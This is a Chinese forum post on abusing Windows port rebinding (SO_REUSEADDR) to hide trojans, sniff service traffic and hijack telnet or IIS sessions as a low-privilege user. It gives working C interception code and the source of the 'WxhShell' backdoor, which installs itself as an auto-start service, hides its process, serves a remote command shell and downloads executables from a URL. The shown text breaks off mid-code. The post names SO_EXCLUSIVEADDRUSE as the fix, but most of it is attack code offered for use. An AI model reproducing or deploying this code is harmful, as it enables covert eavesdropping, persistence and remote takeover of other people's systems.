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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a&:1W83  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c%1k'Q  
@}[>*Xy%  
  saddr.sin_family = AF_INET; Mx9#YJ?t~  
PWeCk2xH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U%%fKL=S  
x/~qyX8vo  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (NfP2E|B  
tUX4#{)q(j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y cYT1Sg 8  
2iOn\ ^]x  
  这意味着什么?意味着可以进行如下的攻击: vHR-mQUs  
VB>KT(n-b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l e+6;'Q  
dRw O t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @z $,KUH  
( w4w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y8} fj=  
WgHl. :R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S1jI8 #z}_  
m(0sG(A~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4I7B #{  
7AwV4r*:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [5[}2 B_t  
F`!B!uY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fP 1V1ao  
Pdgn9  
  #include A8,9^cQ]  
  #include UN ;9h9  
  #include 6P,vGmR  
  #include    j,<3[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W,sU5sjA  
  int main() D5]AL5=Xt2  
  { +'fy%/  
  WORD wVersionRequested; w Vegr  
  DWORD ret; D#%aow'(7  
  WSADATA wsaData; '?| (QU:)F  
  BOOL val; ?:StFlie  
  SOCKADDR_IN saddr; 9Z?P/ o  
  SOCKADDR_IN scaddr; M:t!g %  
  int err; l^`& Tnzv  
  SOCKET s; .II*wK k  
  SOCKET sc; { 'A`ram  
  int caddsize; H~Z$pk%  
  HANDLE mt; qY,z,o AF  
  DWORD tid;   v[$-)vs*ag  
  wVersionRequested = MAKEWORD( 2, 2 ); C]@v60I  
  err = WSAStartup( wVersionRequested, &wsaData ); :r4]8X-  
  if ( err != 0 ) { }"} z7Xb0  
  printf("error!WSAStartup failed!\n"); So?.V4aD_  
  return -1; 'u9,L FO  
  } 8H2zM IB  
  saddr.sin_family = AF_INET; 3k YVk  
   [tN^)c`s/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0*e)_l!  
oJ\)-qSf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kg,t[Jl  
  saddr.sin_port = htons(23); > L5fc".  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $ghAC  
  { V[9#+l~#  
  printf("error!socket failed!\n"); 6d4e~F  
  return -1;  Om%HrT  
  } 9NUft8QB  
  val = TRUE; 2bJqZ,@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Lj]I7ICNh  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Th!.=S{Y5  
  { T6/d[SH>  
  printf("error!setsockopt failed!\n"); ! z!lQ~  
  return -1; Y!3Mm*  
  } f/1soGA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z-9@K<`H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F4P=Wz]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B#o/3  
? PIq/[tk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hMcSB8?  
  { g(X-]/C{  
  ret=GetLastError(); 'eM90I%(  
  printf("error!bind failed!\n"); t1LIZ5JY  
  return -1; ^{ Kj{M22  
  } rTJ='<hIy  
  listen(s,2); wEQ7=Gyx  
  while(1) =D&xw2  
  { 8 `\^wG$W  
  caddsize = sizeof(scaddr); i|`b2msvd  
  //接受连接请求 Sf_q;Ws  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 24Y8n  
  if(sc!=INVALID_SOCKET) 8S8^sP  
  { C(w?`]Qs  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R,3E_me"}  
  if(mt==NULL) d3nx"=Cy0I  
  { t=-t xnlr<  
  printf("Thread Creat Failed!\n"); nqp:nw  
  break; cImOZx  
  } jCJbmEfo9@  
  } 3Jt7IM!9[  
  CloseHandle(mt); B~%'YQk  
  } FWi c/7  
  closesocket(s); g&79?h4UXQ  
  WSACleanup(); th!$R  
  return 0; ,5Vc  
  }   >rbHpLm1`  
  DWORD WINAPI ClientThread(LPVOID lpParam) fPW|)e"  
  { ujlIWQU2mo  
  SOCKET ss = (SOCKET)lpParam; $`KddW0_  
  SOCKET sc; Mx-? &  
  unsigned char buf[4096]; ,H_b@$]n8  
  SOCKADDR_IN saddr; P4\{be>e  
  long num; "PFczoRZ  
  DWORD val; E?VPCx  
  DWORD ret; | c:E)S\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R04%;p:k#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    9S<87sO  
  saddr.sin_family = AF_INET; FJ/>=2^B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z$UPLg3=;_  
  saddr.sin_port = htons(23); 2&e2/KEWR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \+?>KpE,b  
  { %VV\biO]  
  printf("error!socket failed!\n"); rNi]|)-ET  
  return -1; gY],U4_:p  
  } 2#srecIz-!  
  val = 100; OpNTyKbaD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uTWij4)a  
  { #!A'6SgbkM  
  ret = GetLastError(); qw#wZ'<n  
  return -1; Fwu:x.(  
  } iRbTH}4i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fbl8:c)I  
  { qI]PM9  
  ret = GetLastError(); r8R]0\  
  return -1; YmBo/IM  
  } # NoY}*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) AX`>y@I  
  { 8+7n"6GY2/  
  printf("error!socket connect failed!\n"); gs xT  
  closesocket(sc); Q3@MRR^tY  
  closesocket(ss); X0QY:?  
  return -1; !!{!T;)l  
  } _f"HUKGN  
  while(1) P#8+GN+bF  
  { aEO``W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QNN*/n  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3?}\Hw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?g ~w6|U(r  
  num = recv(ss,buf,4096,0); UQ7E7yY#  
  if(num>0) FnZMW, P  
  send(sc,buf,num,0); =XRTeIZ  
  else if(num==0) &Zzd6[G+  
  break; o@6hlLr  
  num = recv(sc,buf,4096,0); N7wKaezE  
  if(num>0) Zb \E!>V  
  send(ss,buf,num,0); vU4Gw4  
  else if(num==0) wsfN \6e  
  break; zL^`r)H  
  } fGwRv% $^  
  closesocket(ss); ~BUzyc%  
  closesocket(sc); he vM'"|4  
  return 0 ; z1K}] z%  
  } 7EfLd+  
=6sA49~M  
{vp|f~}zTw  
========================================================== A`#/:O4|f  
7Gos-_s  
下边附上一个代码,,WXhSHELL b0PQ;?R#V  
wt@Qjbqd8  
========================================================== LR(Q.x  
TKwMgC}<[  
#include "stdafx.h" N!W# N$  
5xS ze;  
#include <stdio.h> $i|c6&  
#include <string.h>  WR;)  
#include <windows.h> Gz_[|,i  
#include <winsock2.h> V(?PKb-w)  
#include <winsvc.h> ?Z1&ju,Hd-  
#include <urlmon.h> ,m HQ  
&rc]3! B  
#pragma comment (lib, "Ws2_32.lib") #NvL@bH  
#pragma comment (lib, "urlmon.lib") Np.] W(  
@5[9iY  
#define MAX_USER   100 // 最大客户端连接数 v^;p]_c~2  
#define BUF_SOCK   200 // sock buffer T?DX|?2X  
#define KEY_BUFF   255 // 输入 buffer }k{h^!fV  
8E/wUN,Lxj  
#define REBOOT     0   // 重启 Lddk:u&J  
#define SHUTDOWN   1   // 关机 - &7\do<  
`U.VfQR:  
#define DEF_PORT   5000 // 监听端口 \{GBaMwG~  
v M lT  
#define REG_LEN     16   // 注册表键长度 3iKy>  
#define SVC_LEN     80   // NT服务名长度 \ZOH3`vq  
+,g"8&>  
// 从dll定义API ^xNs^wC.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mDCz=pk)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :xBG~D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I,nW~;OV0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z{>p<)h  
9B&fEmgEc?  
// wxhshell配置信息 W1$<,4j@M  
struct WSCFG { pA%Sybw+  
  int ws_port;         // 监听端口 + Cf  
  char ws_passstr[REG_LEN]; // 口令 lMQ_S"  
  int ws_autoins;       // 安装标记, 1=yes 0=no [9lfR5=Xw[  
  char ws_regname[REG_LEN]; // 注册表键名 *l-f">?|  
  char ws_svcname[REG_LEN]; // 服务名 ZaZm$.s n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `Z' h[-2`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }|Ao@UvH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4Y>J,c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _Yms]QEZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }+m")=1{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R.Uwf  
Y30T>5  
}; ~vGX(8N  
.boBo$f  
// default Wxhshell configuration J8;lG  
struct WSCFG wscfg={DEF_PORT, a*D])Lu[  
    "xuhuanlingzhe", XMLJ X~  
    1, C&1()U  
    "Wxhshell", }JWLm.e  
    "Wxhshell", k0/S&e,*  
            "WxhShell Service", h{5K9$9=  
    "Wrsky Windows CmdShell Service", h,!#YG@>  
    "Please Input Your Password: ", f6*6*=  
  1, 1FPt%{s3  
  "http://www.wrsky.com/wxhshell.exe", C||9u}Q<  
  "Wxhshell.exe" Hf#VW^  
    }; l_MF9.z&  
</jzM?i  
// 消息定义模块 G9YfJ?I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f)b+>!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Dus [N< w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A@?Rj  
char *msg_ws_ext="\n\rExit."; j{`C|zg  
char *msg_ws_end="\n\rQuit."; }j_2K1NS{  
char *msg_ws_boot="\n\rReboot..."; KT9!R  
char *msg_ws_poff="\n\rShutdown..."; [dXpz^Co  
char *msg_ws_down="\n\rSave to "; ^tr?y??k  
zT< P_l  
char *msg_ws_err="\n\rErr!"; HO`N]AMw  
char *msg_ws_ok="\n\rOK!"; CC~:z/4,N  
wr~Ydmsf  
char ExeFile[MAX_PATH]; en?J#fz  
int nUser = 0; c?/R=/H  
HANDLE handles[MAX_USER]; :ot^bAyt|  
int OsIsNt; !4 =]@eFk  
e*Gt%'  
SERVICE_STATUS       serviceStatus; 2K~<_.S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]}za  
AY B~{  
// 函数声明 /E32^o|,>  
int Install(void); ,P.yl~'Al  
int Uninstall(void); $-Yq?:  
int DownloadFile(char *sURL, SOCKET wsh); Af`qe+0E  
int Boot(int flag); 6`JY:~V"  
void HideProc(void); Ob~7r*q  
int GetOsVer(void); -yJ%G1R  
int Wxhshell(SOCKET wsl); "N*bV  
void TalkWithClient(void *cs); ~M !9E])  
int CmdShell(SOCKET sock); Y;uQq-CP  
int StartFromService(void); Z6S?xfhr'{  
int StartWxhshell(LPSTR lpCmdLine); Mnx')([;W  
S!r,p};  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NU <K+k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .IkQo`_s:  
{}A1[ Y|  
// 数据结构和表定义 'Y;M%  
SERVICE_TABLE_ENTRY DispatchTable[] = @,i_Gw)  
{ u &qFE=5:  
{wscfg.ws_svcname, NTServiceMain}, Al0ls  
{NULL, NULL} V0 O6\)/.  
}; @}oY6cW;B*  
%vZTD +i  
// 自我安装 9()d7Y#d/`  
int Install(void) I%Yeq"5RB  
{ WW&ag r  
  char svExeFile[MAX_PATH]; k7cM.<s!  
  HKEY key; QO;OeMQv%  
  strcpy(svExeFile,ExeFile); P =jRof$  
:5DL&,,Q3  
// 如果是win9x系统,修改注册表设为自启动 ":meys6t#  
if(!OsIsNt) { Gkr?M^@K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \kS:u}Ip!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oz[Mt i*  
  RegCloseKey(key); H-g CY|W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +WTO_J7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  qH9bo-6  
  RegCloseKey(key); )a=58r07  
  return 0; qZwqnH  
    } tSf$`4  
  } :g~X"C1s  
} TaqqEL  
else { DKnlbl1^?  
rQLl[a  
// 如果是NT以上系统,安装为系统服务 [~v1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CUI\:a-   
if (schSCManager!=0) K4w#}gzok  
{ +f"q^RIU  
  SC_HANDLE schService = CreateService 6M^NZ0~J  
  ( }1}L&M@  
  schSCManager, iU1yJ=  
  wscfg.ws_svcname, pcC/$5FQ  
  wscfg.ws_svcdisp, hziPHuK9,  
  SERVICE_ALL_ACCESS, vvwQ/iJO4Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7E]qP 5  
  SERVICE_AUTO_START, \96aHOk<  
  SERVICE_ERROR_NORMAL, VsjE*AJpe  
  svExeFile, bSvr8FY3d  
  NULL, TR J5m?x  
  NULL, "IuHSjP  
  NULL, &WV&_z  
  NULL, (M;jnQ0  
  NULL Zjq(]y  
  ); SF. Is=b  
  if (schService!=0) d #vo)>  
  { RqU^Q*/sF  
  CloseServiceHandle(schService); CxbGL  
  CloseServiceHandle(schSCManager); G}V5PEF]`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~bnyk%S o  
  strcat(svExeFile,wscfg.ws_svcname); g)`;m%DG6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T? e(m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NfsF'v  
  RegCloseKey(key); ?qt.+2:  
  return 0; {^V9?^?d (  
    } C &~s<tcn  
  } hYSzr-)  
  CloseServiceHandle(schSCManager); F~Sw-b kSf  
} # KgDOCQH  
} EpUBO}q]  
$)v`roDD.  
return 1; *u ^mf~  
} y3Qb2l  
ggL^*MV  
// 自我卸载 #O,;3S  
int Uninstall(void) 4m"6$  
{ Tg yY 9  
  HKEY key; KSgYf;  
S(ky:  
if(!OsIsNt) { kb~;s-$O`s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H-C$Jy)f"  
  RegDeleteValue(key,wscfg.ws_regname); x"83[0ib  
  RegCloseKey(key); HE{JiAf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =pnMV"'9  
  RegDeleteValue(key,wscfg.ws_regname); kdW$>Jqb  
  RegCloseKey(key); B }t529Z  
  return 0; m4_ZGjmJM  
  }  sg9  
} nmWo:ox4;(  
} AO~f=GW  
else { k%Wj+\93 f  
iyJx~:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6 qK`X  
if (schSCManager!=0) MG-#p8  
{ ojG;[@V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K'f`}y9  
  if (schService!=0) MJug no  
  { m'PU0x  
  if(DeleteService(schService)!=0) { T8W;Lb9hQ  
  CloseServiceHandle(schService); E]c0+rh~  
  CloseServiceHandle(schSCManager); pZ)N,O3  
  return 0; FByA4VxB  
  }  \<u  
  CloseServiceHandle(schService); +cwuj  
  } 8Xx4W^*_  
  CloseServiceHandle(schSCManager); 5MHc gzyp  
} #D ]P3  
} ^|UD&6 dx  
KbGz3O'u  
return 1; :>K8oE  
} t->I# t7  
:ZsAWe{%,J  
// 从指定url下载文件 sL4j@Lt  
int DownloadFile(char *sURL, SOCKET wsh) 60--6n  
{ yN{TcX  
  HRESULT hr; Csf!I@}Z  
char seps[]= "/"; _~.S~;o!b  
char *token; ]Ei*I}  
char *file; <^(>o  
char myURL[MAX_PATH]; T8NDS7&?  
char myFILE[MAX_PATH]; aL^ 58My&  
{v}BtZ  
strcpy(myURL,sURL); Px?zih!6  
  token=strtok(myURL,seps); HB*H%>L{"B  
  while(token!=NULL) t_kRYdW9  
  { MG:eI?G/'  
    file=token; sH51 .JG  
  token=strtok(NULL,seps); |crm{]7X  
  } L/xTW  
!6FO[^h||H  
GetCurrentDirectory(MAX_PATH,myFILE); [79iC$8B|  
strcat(myFILE, "\\"); ;iO5 8S3  
strcat(myFILE, file); "_ H 9]}Q  
  send(wsh,myFILE,strlen(myFILE),0); T!X`"rI  
send(wsh,"...",3,0); p+#]Jr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v(P5)R,  
  if(hr==S_OK) qGdoRrp0Ov  
return 0; $ww0$  
else 8 k )i-&R  
return 1; +'9E4Lpx  
#+8G`  
} i\dd  
#CRd@k ?  
// 系统电源模块 s<{) X$  
int Boot(int flag) V/]o':  
{ ;T :]?5W!  
  HANDLE hToken; 9xOTR#B:_V  
  TOKEN_PRIVILEGES tkp; Kh7C7[&  
Zg$RiQ^-{J  
  if(OsIsNt) { I9L7,~s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o[%\W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); . "Q}2  
    tkp.PrivilegeCount = 1; lf\x`3Vd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p&2oe\j$,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p:zRgwcn  
if(flag==REBOOT) { n;LjKE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a FL; E  
  return 0; a5?Yh<cJ  
} a= (vS  
else { \Vx_$E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1ZY~qP+n+  
  return 0; wwE3N[  
} .u:aX$t+  
  } :6J&%n  
  else { R(f6uO!m  
if(flag==REBOOT) { Ch_eK^ g1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RMHJI6?LB  
  return 0; e2kW,JV/<$  
} }H:wgy`  
else { LZDJ\"a-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) INY?@in  
  return 0; IZBY*kr  
} 5c$\DZ(  
} `_SV1|=="8  
XD Q<28^  
return 1; dP?QPky{9  
} ]]P@*4!  
4"veqrC  
// win9x进程隐藏模块 ` <u2 N  
void HideProc(void) @H$Sv   
{ 6w~Cyu4Ov  
1E=E ?$9sg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x(A8FtG  
  if ( hKernel != NULL ) r@EHn[w  
  { x/ix%!8J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .Nk5W%7]=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wz>[CXpi_  
    FreeLibrary(hKernel); #^{%jlmHxJ  
  } /[A#iTe  
K[S)e!\.  
return; &WZ&Tt/)/  
} R>B6@|}?  
h@dy}Id  
// 获取操作系统版本 tLcw?aB  
int GetOsVer(void) og&-P=4O  
{ zUq(bD  
  OSVERSIONINFO winfo; Qna*K7kv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x@3cZd0j#  
  GetVersionEx(&winfo); EiVVVmm!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _& r19pY  
  return 1; AdRp{^w  
  else ]QGo(+  
  return 0; \1hQ7:f;\  
} g3 Oro}wt6  
={;7WB$  
// 客户端句柄模块 QD-`jV3  
int Wxhshell(SOCKET wsl) &ET$ca`j#  
{ $Z3{D:-)  
  SOCKET wsh; QH_Ds,oH=  
  struct sockaddr_in client; v#?;PyeF  
  DWORD myID;  dZX;k0  
u4$R ZTC  
  while(nUser<MAX_USER) fZcA{$Vc]N  
{ }WhRJr`a  
  int nSize=sizeof(client); 5fRrd;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B$qTH5)W  
  if(wsh==INVALID_SOCKET) return 1; Q%524%f$  
q]U!n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m\70&%v  
if(handles[nUser]==0) a#l ytp  
  closesocket(wsh); BkP4.XRI  
else ;*0nPhBw0>  
  nUser++; 2.vmZaKP  
  } CY.4>,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1Vc~Sa  
_mJhY0Oc  
  return 0; iCCe8nK  
} ]E)\>Jb  
'bsHoO  
// 关闭 socket C DoD9Hq,  
void CloseIt(SOCKET wsh) nw_s :  
{ L4Kg%icz l  
closesocket(wsh); al9( 9)  
nUser--; _%Yi ^^  
ExitThread(0); Uq~b4X$  
} P- +]4\  
xGFbh4H=8p  
// 客户端请求句柄 O3mw5<%15  
void TalkWithClient(void *cs) T8&eaAoo  
{ 97~>gFU77#  
OZC yg/K  
  SOCKET wsh=(SOCKET)cs; jFip-=T{4  
  char pwd[SVC_LEN];  e<(6x[_  
  char cmd[KEY_BUFF]; o1"N{ Eu  
char chr[1]; hA;Ai:8  
int i,j; c,O;B_}M]  
+TX4,"  
  while (nUser < MAX_USER) { pjl>ZoOM  
e7bMK<:r  
if(wscfg.ws_passstr) { *Mb'y d/|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v+}${h9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :LlZ#V2  
  //ZeroMemory(pwd,KEY_BUFF); A}}dc:$C  
      i=0; 6nR EuT'k  
  while(i<SVC_LEN) { 3SI0etVr  
HA7%8R*.2i  
  // 设置超时 O /:FY1  
  fd_set FdRead; G:y+yE4  
  struct timeval TimeOut; &n#yxv4  
  FD_ZERO(&FdRead); BO7XN;  
  FD_SET(wsh,&FdRead); J Vxja<43  
  TimeOut.tv_sec=8; q"oNFHYPDs  
  TimeOut.tv_usec=0; luyu7`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,p /{!BX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k"C'8<T)'  
l}r9kS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hg#O_4D  
  pwd=chr[0]; 0S9~db  
  if(chr[0]==0xd || chr[0]==0xa) { fFYoZ/\  
  pwd=0; OhMJt&s9P=  
  break; a2ho+TwT  
  } xRdx` YYu  
  i++; {jH'W)nR  
    } M<*WC{  
cD=IFOB*GD  
  // 如果是非法用户,关闭 socket N UJ $)qNA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ly35n`  
} aC%Q.+-t  
%n GjP^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4Gh\T`=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <=D  a  
~MXhp5PI   
while(1) { ``I[1cC  
MJrPI a[pN  
  ZeroMemory(cmd,KEY_BUFF); U^BM5b  
#HW<@E  
      // 自动支持客户端 telnet标准   vU5}E\Ny  
  j=0; sHMO9{[7H  
  while(j<KEY_BUFF) { VumM`SH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k#u)+e.'  
  cmd[j]=chr[0]; D6|-nl  
  if(chr[0]==0xa || chr[0]==0xd) { 0xO*8aKT  
  cmd[j]=0; n\V7^N  
  break; biBMd(6  
  } jwBJG7\  
  j++; <pjxJ<1 l  
    } Sk1t~  
f8aY6o"i  
  // 下载文件 f$n5$hJlQ  
  if(strstr(cmd,"http://")) { U djYRfk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ("r:L<xe&  
  if(DownloadFile(cmd,wsh)) Ir5|H|b<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jj\lF*B  
  else awvP;F?q|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @6UZC-M0  
  } \v5;t9uBZ  
  else { c#"t.j<E}  
zH6@v +gb  
    switch(cmd[0]) { 2%6 >)|  
  >KvK'Mus/  
  // 帮助 ^Y+Lf]zz*  
  case '?': { GN9kCyPK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a@ <-L  
    break; XPD1HN!,LT  
  } _H@ATut  
  // 安装 Z<^!N)  
  case 'i': { ,W|-?b?   
    if(Install()) 02trjp.f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B>m*!n: l  
    else 9xhc:@B1J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )wCNLi>4  
    break; T_=WX_h $  
    } )7.DF|A  
  // 卸载 &e;Qabwxva  
  case 'r': { c-}[v<o  
    if(Uninstall()) % @+j@i`&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i%i />;DF  
    else 1JfZstT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0Ci/-3HV!  
    break; {>9ED.t  
    } |3yG  
  // 显示 wxhshell 所在路径 #0Y_!'j  
  case 'p': { H,5]w\R6\  
    char svExeFile[MAX_PATH]; kltW  
    strcpy(svExeFile,"\n\r"); *o4a<.hd2  
      strcat(svExeFile,ExeFile); Uc'}y!R  
        send(wsh,svExeFile,strlen(svExeFile),0); )RvX}y-  
    break; EY<"B2_%  
    } m 8b,_1  
  // 重启 !khEep}  
  case 'b': { 1' v!~*af  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qy)~OBY  
    if(Boot(REBOOT)) +kQ=2dva  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z+J4 q9^$  
    else { \`xlD&F@U  
    closesocket(wsh); %)?jaE}[  
    ExitThread(0); LybaE~=  
    } geqP.MR  
    break; G$MEVfd"  
    } 3Cc#{X-+  
  // 关机 D\9-/ p  
  case 'd': { UO@K:n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \3^ue0  
